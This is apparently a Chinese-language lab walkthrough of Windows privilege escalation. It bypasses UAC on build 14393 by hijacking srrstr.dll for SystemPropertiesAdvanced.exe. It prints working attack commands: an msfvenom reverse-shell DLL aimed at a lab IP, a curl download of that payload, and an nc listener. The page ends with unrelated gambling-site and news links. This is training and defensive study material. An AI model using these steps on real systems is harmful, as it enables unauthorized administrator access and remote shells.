Windows提权

Windows提权

通过一次在靶机上练习的全过程,记录了包括如何针对特定 Windows 版本实施 UAC 绕过,并在成功提权后获取完整权限的Shell。

UAC介绍什么是 UAC(用户帐户控制)用户帐户控制(UAC)是 Windows 操作系统中的一项功能,旨在在执行需要更高权限的操作时,弹出提示要求用户确认或输入管理员凭据。

UAC 的工作机制应用程序具有不同的完整性级别(Integrity Levels)。完整性级别决定了程序在系统中的权限,例如“低”、“中”、“高”或“系统”级别。高完整性级别的程序可以执行可能危及系统的操作,如修改系统文件、安装驱动等。启用 UAC 时,即使是管理员账户登录,默认情况下启动的程序也以“标准用户权限”运行,除非用户明确授权,程序才会获得“管理员权限”。

相关信息枚举拿到sarah用户,经过枚举检查已经在本地管理员组,但是通过检查权限发现还是只有普通用户权限。

管理员组枚举net localgroup administrators

可以看见用户sarah属于本地管理员组。

权限确认whoami /priv

但是可以看见目前只有普通用户权限。接下来确认是否有UAC开启

确认UAC是否启用REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA

可以看见UAC已经启用

确定级别REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v ConsentPromptBehaviorAdmin

ConsentPromptBehaviorAdmin的值为0x5,代表最高UAC级别已经启用。

检查Windows版本我们可以检查一下”Windows build“版本号:

[environment]::OSVersion.Version

可以看见build版本为14393,接下来使用如下网站上的win10历史版本网站查询。

Windows 10 version history

可以看见,对应的是1607。这里UACME项目维护了一个UAC绕过列表。包括受影响的Windows build编号和所使用的方法以及微软是否发布了更新来修复。

这里我们可以使用54号,可以看见从Windows 10 14393版本开始有效。该UAC绕过方法是使用32位二进制文件SystemPropertiesAdvanced.exe。Google一下相关利用方法可以看见这篇文章

system-properties-uac-bypass

该文章描述使用 Procmon 等工具,发现SystemPropertiesAdvanced.exe 在启动时尝试加载的 DLL 文件路径。发现该程序尝试从C:\Users\<用户名>\AppData\Local\Microsoft\WindowsApps目录加载srrstr.dll,而该目录对普通用户具有写权限。作者使用一个用于生成calc.exe的DLL保存到WindowsApps文件夹。再次执行“SystemPropertiesAdvanced.exe”(来自中等完整性级别的命令提示符),并以高完整性级别进程生成calc.exe

Dll加载顺序当二进制程序尝试定位一个DLL时,Windows将使用以下搜索顺序。

1. 应用程序加载的目录。

2. 64位系统的系统目录 C:\Windows\System32。

3. 16位系统目录 C:\Windows\System(64位系统不支持)

4。Windows目录。

5。 在PATH环境变量中列出的任何目录。

查看PATHcmd /c echo %PATH%

查看文件权限icacls "C:\Users\sarah\AppData\Local\Microsoft\WindowsApps\"

发现我们有F权限,即“Full access”,如下:

我们将通过将恶意srrstr.dll放置在WindowsApps文件夹中,利用DLL劫持来绕过UAC。

利用和绕过生成恶意srrstr.dll

msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.157 LPORT=443 -f dll > srrstr.dll

下一步将dll上传到windows目标,

kali:

python3 -m http.server 80

windows:

curl http://10.10.14.157/srrstr.dll -O "C:\Users\sarah\AppData\Local\Microsoft\WindowsApps\srrstr.dll"

上传成功。然后监听443端口

kali:

rlwrap -cAr nc -lvnp 443

利用SystemPropertiesAdvanced.exe现在,在靶机执行SystemPropertiesAdvanced.exe 32位版本。

C:\Windows\SysWOW64\SystemPropertiesAdvanced.exe

成功,可以看到我们现在有了管理员组成员的全部权限配置。

相关推荐

王者荣耀S10赛季
365bet-亚洲版官网

王者荣耀S10赛季

钠离子电池:备胎何时转正上岗 前几天,钠离子电池的话题又小火了一把。在世界青年科学家峰会上, 宁德时代 首席科学家吴凯透露:第二代钠离子电池已研发完成...
365bet官网平台

钠离子电池:备胎何时转正上岗 前几天,钠离子电池的话题又小火了一把。在世界青年科学家峰会上, 宁德时代 首席科学家吴凯透露:第二代钠离子电池已研发完成...

新鲜茄子怎么保存时间长?实用技巧全解析
365bet官网平台

新鲜茄子怎么保存时间长?实用技巧全解析

包括中国!日本计划联合多国申办2046年世界杯
365bet-亚洲版官网

包括中国!日本计划联合多国申办2046年世界杯

中文域名是什么:全面指南
365bet-亚洲版官网

中文域名是什么:全面指南

天线为什么会有多次谐振_天线谐振是怎么回事?
365bet-亚洲版官网

天线为什么会有多次谐振_天线谐振是怎么回事?